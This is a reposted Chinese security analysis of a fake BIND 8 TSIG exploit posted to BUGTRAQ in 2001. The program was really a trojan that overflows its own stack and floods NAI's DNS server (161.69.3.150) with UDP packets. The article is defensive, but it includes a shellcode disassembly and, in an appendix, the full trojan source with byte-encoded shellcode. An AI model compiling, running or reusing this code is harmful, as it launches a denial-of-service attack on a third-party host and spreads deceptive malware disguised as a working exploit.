|
|
|
[
来路:巅峰网络 时间:2007-7-21 11:50:14
点击: ] |
|
|
|
|
|
NAI公司的COVERT安全小组发现BIND 8中有一个严重的远程安全漏洞。详细分析 见我们网站上的: "ISC Bind 8 TSIG缓冲区溢出漏洞" http://security.nsfocus.com/showQuery.asp?bugID=1230
BUGTRAQ上马上有人匿名发送了一个所谓针对BIND 8的exploit代码(见附录)。 实际这是一个木马程序。它利用自己构造的一个溢出来执行shellcode,去攻击 dns1.nai.com(NAI的域名服务器)。
相当多的BUGTRAQ用户在下载了这个程序后,没有仔细分析就运行了它,导致NAI的 域名服务器受到"分布式"(套用一下名词)拒绝服务攻击,一度不能正常工作。
其实这种冒充exploit的木马程序并不鲜见。
以前就有一个冒充apache 1.3.4远程exploit的程序: http://packetstorm.securify.com/trojans/apache.c
不过这个程序比较好识破,因为它的shellcode中实际上就是shell命令的一些16 进制数值,而且在程序的最后,使用一条相当显眼的语句执行shellcode:
execl("/bin/sh", "sh", "-c", shellcode, 0);
而这次的这个程序代码比较长,很多地方做得比较逼真,shellcode也是真正的 汇编代码,只是在中间一个不起眼的地方进行一个函数调用时,程序会发生溢出, 转去执行shellcode了。
很多人很难相信别人会花这么大的精力来设计一个木马程序,再加上代码做的相 当逼真,木马入口又比较隐蔽,因此上当的人不在少数。
下面让我们简单分析一下这个木马程序,看看它的真面目。
有问题的函数是set_ptr():
int set_ptr(char *buff, int offset, unsigned long val, int s) { char copy_buff[1024]; int revval;
memcpy(copy_buff, buff, 1024); revval = buff[SHELL_OFFSET_1]; /* increment record usage count */ revval += BIND_OFF_01; if (s) if (!fork()) /* simply copy value to offset */ memcpy(©_buff[offset], &val, sizeof(val)); memcpy(buff, copy_buff, sizeof(copy_buff)); return 0; }
这个函数其实没有做什么工作,只是将buff的内容拷贝到copy_buff,然后又从 copy_buff中拷回buff.只是在s的值不为零时,程序会fork()出一个子进程, 然后做了一个可疑的拷贝,将val的值(4个字节)拷贝到了copy_buff[offset]中, 我们看到copy_buff的大小是1024,如果offset的值大于1024,那么就可能发生溢出。
而跟踪一下set_ptr被调用的情况,会发现只有main()函数中的第287行附近的一 个调用,参数s的值不为零:
set_ptr(shellcode, BIND_OFF_02, (unsigned long) shellcode, 1);
这里的val值就是shellcode的地址,而BIND_OFF_02在开头被定义:
#define BIND_OFF_02 ((BIND_PKT_OFF*(SHELL_OFFSET_2+8))+BIND_OKT_SZ)
我们看到程序开头有一堆宏定义,目的就是让人搞不清楚这些宏到底是些什么意 思。
#define SHELL_OFFSET_1 26 #define SHELL_OFFSET_2 31 #define BIND_PKT_OFF 26 /* offset from beginning of packet */ #define BIND_OKT_SZ 14 /* rr */ #define BIND_OFF_01 (BIND_PKT_OFF+BIND_OKT_SZ)/2 #define BIND_OFF_02 ((BIND_PKT_OFF*(SHELL_OFFSET_2+8))+BIND_OKT_SZ) #define BIND_OFF_03 (SHELL_OFFSET_1*2) #define BIND_OFF_04 ((SHELL_OFFSET_2*2) - 1)
BIND_OFF_02的宏定义看起来比较复杂,实际上是欺骗人的把戏,我开始一看这 里就头大了,搞不清楚怎么会有这么复杂的计算公式。:)而实际计算一下就得到:
BIND_OFF_02 = 26*(31 + 8) + 14 = 1028
这样shellcode的地址就会被拷贝到 copy_buff[1028]处,这实际上就是set_ptr() 函数在堆栈中保存的返回地址的地方。因此在执行set_ptr()函数时,程序发生了 溢出,程序流程转向shellcode.
而shellcode中实际上有两部分构成,一部分是dns_packet[]中,一部分在 linux_shellcode[]中。
反汇编shellcode的结果显示,dns_packet[]中的代码只是执行了一个time(0), 而linux_shellcode[]中的shellcode则循环往161.69.3.150的UDP 53端口发送 1024字节的报文。这个地址实际上是dns1.nai.com,看来是这个exploit的作者 想给NAI搞一个恶作剧.因为如果shellcode里做一些其他的手脚,后果可能就 更为严重了。
下面是用objdump反汇编shellcode得到的结果:
0804aa20 <dns_packet>: 804aa20: 31 c0 xorl %eax,%eax 804aa22: 48 decl %eax 804aa23: 50 pushl %eax 804aa24: 50 pushl %eax 804aa25: 31 db xorl %ebx,%ebx 804aa27: 8d 05 0d 00 00 00 leal 0xd,%eax 804aa2d: cd 80 int $0x80 # time(0) 804aa2f: 83 c4 08 addl $0x8,%esp 804aa32: 3d 04 03 02 01 cmpl $0x1020304,%eax 804aa37: 7c 05 jl 804aa3e <dns_packet+0x1e> 804aa39: e8 54 53 49 47 call 4f4dfd92 <_end+0x47495046> 'T'S'I'G' 804aa3e: e8 4e 41 4d 45 call 4d51eb91 <_end+0x454d3e45> 'N'A'M'E' 804aa43: e8 53 49 47 4e call 564bf39b <_end+0x4e47464f> 'S'I'G'N' 804aa48: 41 'A' incl %ecx 804aa49: 54 'T' pushl %esp 804aa4a: 55 'U' pushl %ebp 804aa4b: 52 'R' pushl %edx 804aa4c: 45 'E' incl %ebp 804aa4d: e8 52 53 41 00 call 845fda4 <_end+0x415058> 'R'S' 'A'
0804aa60 <linux_shellcode>: 804aa60: eb 34 jmp 804aa96 <linux_shellcode+0x36> # socket(PF_INET, SOCK_DGRAM, IPPROTO_UDP) 804aa62: 5e popl %esi 804aa63: bb 01 00 00 00 movl $0x1,%ebx 804aa68: 89 f1 movl %esi,%ecx 804aa6a: b8 66 00 00 00 movl $0x66,%eax 804aa6f: cd 80 int $0x80 # sendto(fd, buf, 1024, 0, {sin_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("161.69.3.150")}, 16) 804aa71: 89 46 14 movl %eax,0x14(%esi) 804aa74: 8d 46 30 leal 0x30(%esi),%eax 804aa77: 89 46 18 movl %eax,0x18(%esi) 804aa7a: 31 c0 xorl %eax,%eax 804aa7c: 89 46 20 movl %eax,0x20(%esi) 804aa7f: 8d 46 0c leal 0xc(%esi),%eax 804aa82: 89 46 24 movl %eax,0x24(%esi) # 循环执行sendto() 804aa85: b8 66 00 00 00 movl $0x66,%eax 804aa8a: bb 0b 00 00 00 movl $0xb,%ebx 804aa8f: 8d 4e 14 leal 0x14(%esi),%ecx 804aa92: cd 80 int $0x80 804aa94: eb ef jmp 804aa85 <linux_shellcode+0x25> 804aa96: e8 c7 ff ff ff call 804aa62 <linux_shellcode+0x2> 804aa9b: 02 00 00 00 804aa9f: 02 00 00 00 804aaa3: 11 00 00 00 804aaa7: 02 00 804aaa9: 00 35 a1 45 03 96 0xa1 0x45 0x03 0x96 = 161.69.3.150 = dns1.nai.com 804aaaf: ff ff ff ff ef 804aab4: ff ff ff 00 804aab8: 04 00 00 00 804aabc: 00 00 00 02 804aac0: 5f 9a 80 10 00 00 00 804aac8: 2f 62 69 6e 2f 73 68 "/bin/sh"
结束语:要想不上这种木马程序的当,在拿到一个exploit程序时,应当首先分 析其shellcode代码(如果有的话),再仔细查看程序代码,分析意图,查找可疑 的函数或者调用(例如system(),exec*()等等)。
<完>
附木马程序: From Anonymous <nobody@replay.com> Wed Jan 31 18:06:24 2001 Date: Thu, 31 Jan 2001 18:06:19 -0400 From: Anonymous <nobody@replay.com> To: BUGTRAQ@SECURITYFOCUS.COM Subject: Bind8 exploit Message-ID: <C5119AD12E92D311928E009027DE4CCA554903@replay.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-Mailer: Internet Mail Service (5.5.2650.21)
/* * Implements TSIG buffer mismanagement overflow for incorrect signatures. That * one was really nice bug! * Thanks NAI for nice bug! */ #include <stdio.h> #include <unistd.h> #include <sys/types.h> #include <netinet/in.h> #include <sys/socket.h> #include <string.h> #include <arpa/inet.h> #include <arpa/nameser.h> #include <netdb.h> #include <signal.h>
#ifndef max #define max(x,y) (((x)>(y))?(x):(y)) #endif
#define SHELL_OFFSET_1 26 #define SHELL_OFFSET_2 31 #define BIND_PKT_OFF 26 /* offset from beginning of packet */ #define BIND_OKT_SZ 14 /* rr */ #define BIND_OFF_01 (BIND_PKT_OFF+BIND_OKT_SZ)/2 #define BIND_OFF_02 ((BIND_PKT_OFF*(SHELL_OFFSET_2+8))+BIND_OKT_SZ) #define BIND_OFF_03 (SHELL_OFFSET_1*2) #define BIND_OFF_04 ((SHELL_OFFSET_2*2) - 1)
char dns_packet[] = /* TSIG bind req, \xe8 used as field separator. */ "\x31\xc0\x48\x50\x50\x31\xdb\x8d\x05\x0d\x00\x00\x00\xcd\x80\x83" "\xc4\x08\x3d\x04\x03\x02\x01\x7c\x05\xe8TSIG\xe8NAME\xe8SIGNATURE\xe8RSA\0";
/* zeroes in all shellcodes are allowed - we encode them anyway.. */ char linux_shellcode[] = /* modifyed Aleph1 linux shellcode to * bind to tcp port 31338. hey aleph1 * :) */ "\xeb\x34\x5e\xbb\x01\x00\x00\x00\x89\xf1\xb8\x66\x00\x00\x00\xcd" "\x80\x89\x46\x14\x8d\x46\x30\x89\x46\x18\x31\xc0\x89\x46\x20\x8d" "\x46\x0c\x89\x46\x24\xb8\x66\x00\x00\x00\xbb\x0b\x00\x00\x00\x8d" "\x4e\x14\xcd\x80\xeb\xef\xe8\xc7\xff\xff\xff\x02\x00\x00\x00\x02" "\x00\x00\x00\x11\x00\x00\x00\x02\x00\x00\x35\xa1\x45\x03\x96\xff" "\xff\xff\xff\xef\xff\xff\xff\x00\x04\x00\x00\x00\x00\x00\x00\x02" "\x5f\x9a\x80\x10\x00\x00\x00/bin/sh\0";
char bsd_shellcode[] = /* freebsd bind shellcode by LaMerZ , thnx :) */ "\xeb\x37\x5e\x6a\x11\x6a\x02\x6a\x02\x6a\x66\x8d\x05\x61\x00\x00" "\x00\xcd\x80\x89\xc2\x6a\x10\x89\xf0\x50\x31\xc0\x50\x68\x24\x10" "\x00\x00\x8d\x46\x0f\x50\x52\x68\x88\x00\x00\x00\x8d\x05\x85\x00" "\x00\x00\xcd\x80\x83\xc4\x1c\xeb\xdc\xe8\xc4\xff\xff\xff\x00\x02" "\x00\x35\xa1\x45\x03\x96\xe8\xb1\xff\xff\xff/bin/sh\0";
struct remote { char *osname; char *bindver; unsigned long ret; /* return addr */ unsigned long otebp; /* offset ot %ebp,bind specific */ char *shellcode; } remote[] = { { "Linux RedHat 6.0", "8.2.x", 0xbfff0508, 104, linux_shellcode }, { "Linux RedHat 6.2", "8.2.x", 0xbfff0a04, 80, linux_shellcode }, { "Linux RedHat 7.0", "8.2.x", 0xbfff040a, 84, linux_shellcode }, { "Linux Slackware 7", "8.2.x", 0xbfffe123, 20, linux_shellcode }, { "Linux Debian (all)", "8.2.x", 0xbfffd0aa, 110, linux_shellcode }, { "FreeBSD 3.4", "8.2.x", 0xbfbfa101, -10, bsd_shellcode }, { "FreeBSD 3.5", "8.2.x", 0xbfbfc09a, -10, bsd_shellcode }, { "FreeBSD 4.x", "8.2.x", 0xbfbffe01, -40, bsd_shellcode }, { NULL, NULL, 0, 0 } };
void usage_func(char *pname) { int i;
fprintf(stderr, "Usage: %s remote_addr domainname target_id\n", pname); fprintf(stderr, "Targets:\n"); for (i = 0; remote[i].osname; i++) fprintf(stderr, " %d - %s (%s)\n", i, remote[i].osname, remote[i].bindver); fprintf(stderr, "\n"); fprintf(stderr, " Example usage:\n"); fprintf(stderr, "$ host -t ns domain.com\n"); fprintf(stderr, "domain.com name server dns1.domain.com\n"); fprintf(stderr, "$ ./bind8_ex dns1.domain.com domain.com 0\n"); fprintf(stderr, " [..expl output..]\n\n"); exit(1); }
int set_ptr(char *buff, int offset, unsigned long val, int s) { char copy_buff[1024]; int revval;
memcpy(copy_buff, buff, 1024); revval = buff[SHELL_OFFSET_1]; /* increment record usage count */ revval += BIND_OFF_01; if (s) if (!fork()) /* simply copy value to offset */ memcpy(©_buff[offset], &val, sizeof(val)); memcpy(buff, copy_buff, sizeof(copy_buff)); return 0; }
unsigned long Resolve(char *h) { struct in_addr q; struct hostent *z;
if ((inet_aton(h, &q)) == 0) { z = gethostbyname(h);
if (!z) return -1;
(void) memcpy((void *) &q, (void *) z->h_addr, z->h_length); } return q.s_addr; }
/* pull out a compressed query name */ char * dnsprintflabel(char *s, char *buf, char *p) { unsigned short i, len; char *b = NULL; len = (unsigned short) *(p++); i = len + BIND_PKT_OFF; /* invalid length? */ if (i) return NULL; while (len) { while (len >= 0xC0) { if (!b) b = p + 1; p = buf + (ntohs(*((unsigned short *) (p - 1))) & ~0xC000); len = (unsigned short) *(p++); } for (i = 0; i < len; i++) *(s++) = *(p++); *(s++) = '.'; len = (unsigned short) *(p++); } *(s++) = 0; if (b) return (b); return (p); }
int proxyloop(int s) { char snd[1024], rcv[1024]; fd_set rset; int maxfd, n; sleep(1); printf("Entering proxyloop..\n"); strcpy(snd, "cd /; uname -a; pwd; id;\n"); write(s, snd, strlen(snd)); for (;;) { FD_SET(fileno(stdin), &rset); FD_SET(s, &rset); maxfd = max(fileno(stdin), s) + 1; select(maxfd, &rset, NULL, NULL, NULL); if (FD_ISSET(fileno(stdin), &rset)) { bzero(snd, sizeof(snd)); fgets(snd, sizeof(snd) - 2, stdin); write(s, snd, strlen(snd)); } if (FD_ISSET(s, &rset)) { bzero(rcv, sizeof(rcv)); if ((n = read(s, rcv, sizeof(rcv))) == 0) exit(0); if (n < 0) { return -3; } fputs(rcv, stdout); } } return 0; }
int main(int argc, char *argv[]) { HEADER *dnsheader; struct sockaddr_in to; char expl_buffer[PACKETSZ + 8192]; int off, i, x; char ch, *remote_addr = NULL, *dmn = NULL; char *walker; unsigned char *shellcode; int align = 0; unsigned long remote_ip, addr; int saved_len_1, saved_len_2; int type = -1; int fd, fd2;
if (argc != 4) { usage_func(argv[0]); } dmn = strdup(argv[1]); remote_addr = strdup(argv[2]); type = atoi(argv[3]);
if (type < 0 || !remote_addr || !dmn) { usage_func(argv[0]); } printf(" [+] Trying to resolve %s ...\n", remote_addr); remote_ip = Resolve(remote_addr);
if (remote_ip == -1) { fprintf(stderr, " [-] failed to resolve %s\n", remote_addr); exit(1); } else { printf(" [+] %s -> %#lx...\n", remote_addr, remote_ip); } /* block signal to allow these signals in bindshell */ signal(SIGHUP, SIG_IGN); signal(SIGCHLD, SIG_IGN); /* well.. */ signal(SIGINT, SIG_IGN);
printf(" [+] Remote OS %s, using domain %s\n", remote[type].osname, dmn); printf(" [+] Offset: 0x%08x, bind specific value: %d\n", remote[type].ret, remote[type].otebp); shellcode = (unsigned char *) malloc(PACKETSZ + 8192); memset(shellcode, 0x90, PACKETSZ);
addr = remote[type].ret;
for (i = 0; i < sizeof(dns_packet); i++) shellcode[i] = dns_packet[i];
if (i > 0) { saved_len_1 = i; } for (x = 0; x < sizeof(linux_shellcode); i++, x++) shellcode[i] = linux_shellcode[x];
if (i) { saved_len_2 = i; } for (x = 0; x < sizeof(bsd_shellcode); i++, x++) shellcode[i] = bsd_shellcode[x];
/* encode offset */ addr = (unsigned long) saved_len_1 - SHELL_OFFSET_1 - 4; shellcode[SHELL_OFFSET_1 + 3] = (addr >> 24) & 0xff; shellcode[SHELL_OFFSET_1 + 2] = (addr >> 16) & 0xff; shellcode[SHELL_OFFSET_1 + 1] = (addr >> 8) & 0xff; shellcode[SHELL_OFFSET_1] = (addr) & 0xff; addr = (unsigned long) saved_len_2 - SHELL_OFFSET_2 - 4; shellcode[SHELL_OFFSET_2 + 3] = (addr >> 24) & 0xff; shellcode[SHELL_OFFSET_2 + 2] = (addr >> 16) & 0xff; shellcode[SHELL_OFFSET_2 + 1] = (addr >> 8) & 0xff; shellcode[SHELL_OFFSET_2] = (addr) & 0xff;
printf(" [+] shellcode length: %d\n", i); /* * now build packet * set pointer to itself. dont modify BIND_OFF_02, it was * bruteforced.. and worked with every bind i sploited. */ set_ptr(shellcode, BIND_OFF_02, (unsigned long) shellcode, 1); /* setup tsig info */ set_ptr(shellcode, BIND_OFF_01, SHELL_OFFSET_2, 0); /* count of records */ if (i > (SHELL_OFFSET_2 - 10)) { set_ptr(shellcode, BIND_OFF_03, i, 0); } else { i += (SHELL_OFFSET_2 / 2); i -= (SHELL_OFFSET_2 % 2); /* thnx enr1qe! :) */ set_ptr(shellcode, BIND_OFF_03, i, 0); } /* store return ADDR !! */ set_ptr(shellcode, BIND_OFF_04, remote[type].ret + (i * remote[type].otebp), 0);
/* copy and rebuild packet depended stuff */ memcpy(expl_buffer, shellcode, PACKETSZ); dnsheader = (HEADER *) & expl_buffer; memset(dnsheader, 0, sizeof(HEADER)); dnsheader->id = htons(getpid()); dnsheader->qr = 1; dnsheader->aa = 1; /* tsig query! */ dnsheader->opcode = QUERY; dnsheader->qdcount = htons(1); dnsheader->arcount = htons(1); /* * encode packet ... */ dnsprintflabel(remote_addr, (char *) (expl_buffer + sizeof(HEADER)), (char *) ((unsigned long) &expl_buffer[0] + sizeof(HEADER) + 1)); walker = (char *) dnsheader + sizeof(HEADER) + strlen(remote_addr); PUTSHORT(T_SIG, walker);
/* * packet is built, connect and sent shellcode. what can be easier? * :) */ if ((fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0) { perror("socket"); exit(1); } memset(&to, 0, sizeof(to)); to.sin_family = AF_INET; to.sin_port = htons(53); to.sin_addr.s_addr = remote_ip;
if ((sendto(fd, &expl_buffer, PACKETSZ, 0, (struct sockaddr *) & to, sizeof(struct sockaddr)) != PACKETSZ)) { perror("sendto"); exit(1); } /* attempt to connect to bindshell on port 31338 */
if ((fd2 = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) { perror("socket"); exit(1); } /* linux & freebsd shellcodes bindport is same, so dont even check. */ to.sin_port = htons(31338);
if (connect(fd2, (struct sockaddr *) & to, sizeof(struct sockaddr)) < 0) { perror("connect"); exit(1); } proxyloop(fd2); } |
|
|
::::站长友情提示:多花一分钟学点什么都好::::
|
|
|
|
|
|
|
|
|
|
|
|
=
= 免责声明 = = |
|
①
欢迎转载我网所刊信息,请注明“来源:E天下网络”。
② 凡本网注明“来源:XXX(非E天下网络)”的作品,均转载自其它媒体,转载目的在于传递更多信息,并不代表本网赞同其观点和对其真实性负责。如因作品内容、版权和其它问题需要同本网联系的,请在30日内进行。
※联系方式:Airtofly@163.com |
|
|
|
|
|
|